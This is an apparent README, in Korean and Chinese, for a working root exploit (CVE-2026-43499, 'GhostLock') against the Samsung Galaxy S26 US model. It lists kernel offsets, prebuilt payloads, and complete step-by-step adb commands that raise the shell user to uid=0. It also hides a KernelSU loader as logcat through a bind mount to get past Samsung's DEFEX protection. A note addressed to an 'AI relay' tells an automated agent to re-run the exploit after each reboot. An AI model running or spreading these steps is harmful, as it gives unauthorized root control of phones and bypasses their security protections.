
GhostLock CVE-2026-43499 Galaxy S26(SM-S942U1/m1q) 연구: SELinux Permissive 달성, KASLR + tracefs 포팅, uid=0 경계 문서화
Samsung Galaxy S26(SM-S942U1, 코드명 m1q, SoC SM8850 스냅드래곤 8 Elite Gen2,
커널 6.12.30-android16-5-android16-5-pd30ff70, Android 16)에 대한 CVE-2026-43499(GhostLock) 권한 상승 연구.
# exploit 后通过 root helper 验证
$ /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
# KernelSU late-load 后内核接口已就位
$ ./su_daemon_aarch64_pie --ksu-info
KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5
$ getenforce
Enforcing # late-load 后 SELinux 恢复 Enforcing,由 KernelSU 策略接管授权
shell(uid 2000)에서 **uid=0(root)**로 권한 상승, context=kernel(최고 권한); 이어서 KernelSU late-load를 완료하고, 커널 드라이버 인터페이스(version=32525)가 활성화되며, SELinux는 KernelSU sepolicy가接管한다.
monovibe/s26u-m3q-temp-root(S26 Ultra 임시 KernelSU root)를 찾았으며, 그 커널 commit
pd30ff70은 미국판 S942U1과 완전히 일치한다. 핵심 메커니즘은 dirty-pipe를 사용하지 않는다(「비 NULL 쓰기」 경계를 우회):
call_usermodehelper_exec_work → uid=0으로 su_daemon helper 실행| 항목 | m3q 원본 값 | 미국판 값 |
|---|---|---|
DEBUGFS_U64_FORMAT_OFF("%llu\n" 문자열 오프셋, 가장 중요) | 0x18be5e9 | 0x18be529 |
P0_KERNEL_PHYS_LOAD | 0x80000000 | 0xc7800000(xbl_config 권위) |
app_uid 검사 하한 | 10000 | 2000(shell 허용) |
DEBUGFS_U64_FORMAT_OFF는 문자열 리터럴(심볼 아님)이며, 컴파일러 레이아웃으로 인해 미국판에서 0xC0만큼 오프셋되었다;
m3q 값은 미국판에서 KVM의 "GWVRn_EL1(1)" 문자열을 가리키므로 read 원시 연산 출력이 깨진다.
├── README.md
├── prebuilt/ # S26 预编译 payload + ksud(直接用,无需构建)
│ ├── preload-m1q-S942U1UES4AZG3.so # monovibe fast-attr 变体(命令行 LD_PRELOAD,实测成功)
│ ├── cve-2026-43499-app.so # RMG physical-P0 oracle 变体(APP 手动选用)
│ └── ksud-m1q-S942U1UES4AZG3-kdp # KernelSU loader(复用 m3q,实测 late-load version=32525)
├── docs/
│ └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md # 完整诊断(含 uid=0 成功记录)
├── m3q-temp-root/ # monovibe/s26u-m3q-temp-root 移植(源码)
└── kallsyms/kallsyms.txt # 美版内核符号表(128307 符号)
ksud는
prebuilt/ksud-m1q-S942U1UES4AZG3-kdp에 이미 포함되어 있습니다(m3q 재사용, late-load 실측 성공).
prebuilt/의 기성 payload + ksud를 직접 사용합니다(빌드 불필요):
adb push prebuilt/preload-m1q-S942U1UES4AZG3.so /data/local/tmp/preload.so
adb push prebuilt/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp
adb shell mkdir -p /data/local/tmp/cve-2026-43499-m1q-ues4azg3
# root helper su_daemon_aarch64_pie(24392B):从 m3q-temp-root/ 源码用 NDK r29 构建,
# 或从改造版 APP(lib/arm64-v8a/libcve43499root.so)提取后重命名
adb push su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie
adb shell chmod 755 /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie
# 3. 运行 root-single(需补 PSELECT_MM_KICK_SLABS,否则卡在 "requires 0-16 kicker slabs" gate)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 \
M3Q_REQUIRE_TRACEFS=1 M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 \
M3Q_ACCEPT_PANIC_RISK=1 TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 \
TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 \
GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
LD_PRELOAD=/data/local/tmp/preload.so sh"
# 4. 验证 root(exploit 失败会 KP 重启,等设备恢复后重跑 step 3,通常 1-2 次成功)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0
이전 commit fa1bb14은 「KernelSU late-load가 Samsung DEFEX immutable root 장애를 만남」을 기록했다.
실기기에서 위치를 파악한 결과, late-load 실패의 진짜 근본 원인은 DEFEX가 아니라 .ksud-stage 원본 파일이 한 번도 생성되지 않았기 때문이다
(ksud의 stage_daemon_from()은 rename만 담당하며, stage 파일로 복사하는 것은 호출자의 책임인데,
su_daemon의 late-load 래퍼가 이 단계를 누락 → rename이 ENOENT를 보고하여 DEFEX 차단으로 오판).
# 5. 放置 stage 文件(shell uid 即可,在 /data/local/tmp 下)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"
# 6. 通过 root 通道以 bind-logcat 伪装执行 ksud late-load(绕 DEFEX exec 限制)
# --allow-shell 让 KernelSU 对 shell uid(2000) 自动授权
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
&& /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
--package-name me.weishu.kernelsu\"'"
# 成功无输出(ksud_rc=0)。late-load 会 restorecon 关闭 temp_su.sock(bootstrap 桥按设计退出)
# 7. 验证 KernelSU 激活(temp_su.sock 关闭前,或重新 exploit 后)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5
임시 root는 재부팅할 때마다 사라집니다. 처음에 위의 step 1-7에 따라 파일을 push한 후에는, 이후 재부팅할 때마다 아래 4개의 adb 명령만 실행하면 됩니다:
# 1. exploit(失败会 KP 重启,等设备恢复 boot_completed 后重跑,通常 1-2 次成功)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 M3Q_REQUIRE_TRACEFS=1 \
M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 M3Q_ACCEPT_PANIC_RISK=1 \
TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 \
TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 成功标志:stdout 含 "m3q-fast-attr-result mode=root root=1 uid=0",su_daemon(uid=0) 起来,getenforce=Permissive
# 2. 放置 stage 文件(late-load 必需,漏这步会 ENOENT)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"
# 3. KernelSU late-load(root 通道 + bind-logcat 伪装绕 DEFEX,--allow-shell 授权 shell uid)
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
&& /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
--package-name me.weishu.kernelsu\"'"
# 成功无输出(rc=0),late-load 后 temp_su.sock 被 restorecon 关闭,getenforce 恢复 Enforcing
# 4. 验证 KernelSU 激活(需重新跑 step 1 拿新 root 通道,或 late-load 后立即趁 sock 未关)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5
AI 릴레이용: 기기 재부팅 후 su가 사라지면 위의 step 1-4를 실행하면 복구됩니다. step 1이 실패하면 KP가 발생하니
sys.boot_completed=1이 될 때까지 기다린 후 다시 실행하세요. 모든 파일은 이미/data/local/tmp에 있으며(preload.so + ksud-m1q-S942U1UES4AZG3-kdp + cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie), 재부팅해도 사라지지 않습니다.
cp … /data/adb/ksud / /data/adb 내용 나열 → EPERM(DEFEX가 경로 문자열 차단)bind /data/adb를 이미지 경로에 바인드한 후 접근 → 통과(DEFEX는 경로명으로 매칭)/data/adb/ksud의 stage rename이 DEFEX에 차단되지 않음
(이전에 ENOENT가 보고된 것은 소스 파일 .ksud-stage 누락 때문이며 DEFEX 때문이 아님)